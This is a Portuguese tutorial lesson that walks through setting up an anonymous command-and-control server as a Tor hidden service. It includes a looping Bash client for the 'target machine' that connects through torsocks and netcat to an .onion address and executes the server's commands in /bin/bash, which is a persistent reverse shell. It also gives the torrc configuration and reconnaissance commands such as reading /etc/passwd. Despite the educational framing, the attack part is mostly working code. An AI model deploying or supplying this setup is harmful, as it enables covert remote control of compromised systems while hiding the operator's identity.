Aula 126 | C&C no tor
O que é um Servidor C2?
Um C2 (Command and Control) é um servidor usado para controlar máquinas remotamente, geralmente em contextos de administração, automação ou simulações ofensivas em ambientes controlados.
Ele funciona como uma central que envia comandos para máquinas conectadas e recebe as saídas desses comandos em tempo real. Em ambientes de segurança ofensiva (como testes de penetração), C2s são utilizados para demonstrar cenários reais de comprometimento e movimentação lateral dentro de redes.
Ferramentas Usadas
Bash
Bash é o shell padrão da maioria das distribuições Linux. Com ele, podemos automatizar tarefas, escrever scripts e controlar completamente um sistema.
Netcat
O Netcat, também chamado de “canivete suíço da rede”, é uma ferramenta poderosa de linha de comando que permite:
-
Criar conexões TCP/UDP simples.
-
Enviar e receber dados.
-
Estabelecer shells reversos.
-
Montar servidores básicos de escuta.
Tor
O Tor (The Onion Router) é uma rede de anonimato que:
-
Encaminha o tráfego por múltiplos nós.
-
Permite acesso a serviços ocultos (como sites
.onion
). -
Garante que o IP real do servidor nunca seja exposto.
Com o Tor, criamos um Hidden Service acessível pela dark web com total anonimato.
Como funciona nosso projeto?
Nesta aula, mostrei como transformar um servidor Ubuntu em um C2 oculto que escuta conexões usando o Netcat via Tor. O cliente se conecta usando um script em Bash, e ao se conectar, o servidor pode enviar comandos ao cliente em tempo real, de forma anônima.
Scripts utilizados
Cliente (máquina alvo)
#!/bin/bash echo "[*] Conectando ao servidor C2 via Tor..." while true; do echo "[*] Tentando conexão..." torsocks nc netcat.onion 4444 < /tmp/fifo | /bin/bash > /tmp/fifo echo "[!] Conexão perdida. Tentando novamente em 5 segundos..." |
Este script:
-
Usa
torsocks
para enviar todo o tráfego via Tor. -
Usa
nc
(Netcat) para conectar ao servidor C2. -
Usa um pipe com FIFO para simular interatividade.
-
Executa comandos vindos do servidor em
/bin/bash
.
Configurando o C2 (servidor)
1. Instalar Tor e Netcat
sudo apt update && sudo apt install tor netcat -y |
2. Configurar o serviço oculto
Edite o arquivo:
sudo nano /etc/tor/torrc |
Adicione:
HiddenServiceDir /var/lib/tor/hidden_service/ HiddenServicePort 4444 127.0.0.1:4444 |
3. Reinicie o Tor
4. Descubra seu domínio .onion
5. Inicie o servidor C2
Pronto! Você pode começar a enviar comandos como:
-
whoami
: mostra o usuário atual. -
uname -a
: informações do sistema. -
ls -lah /
: lista os arquivos no diretório raiz. -
cat /etc/passwd
: visualiza os usuários do sistema.
Alternativas a essa abordagem
Embora Bash + Netcat seja uma forma simples e poderosa, existem outras formas mais complexas de montar servidores C2:
Tecnologia | Descrição |
---|---|
Python | Scripts mais estruturados, com suporte a HTTP, criptografia e automação. |
C/C++ | Binários mais leves e difíceis de detectar, usados em malwares reais. |
C2 Frameworks | Ferramentas como Cobalt Strike, Sliver, Mythic, etc. |
Metasploit | Abordagem automatizada com integração de payloads e listeners. |
No entanto, todas essas técnicas exigem mais preparação e complexidade. A que usamos aqui é ideal para demonstrações simples, educativas e rápidas de como um C2 pode funcionar anonimamente via Tor.